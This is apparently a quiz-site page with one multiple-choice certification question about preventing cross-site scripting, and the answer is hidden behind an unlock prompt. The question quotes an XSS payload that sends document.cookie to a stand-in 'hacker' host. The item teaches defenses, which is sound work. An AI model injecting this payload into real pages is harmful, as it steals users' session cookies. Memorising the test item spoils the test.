Solved

Given the Following Code: ≪SCRIPT>var+img=new+Image();img

Question 10

Multiple Choice

Given the following code: <SCRIPT>var+img=new+Image() ;img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)


A) Web-application firewall
B) Parameterized queries
C) Output encoding
D) Session tokens
E) Input validation
F) Base64 encoding

Correct Answer:

verifed

Verified

Unlock this answer now
Get Access to more Verified Answers free of charge

Related Questions

Unlock this Answer For Free Now!

View this answer and more for free by performing one of the following actions

qr-code

Scan the QR code to install the App and get 2 free unlocks

upload documents

Unlock quizzes for free by uploading documents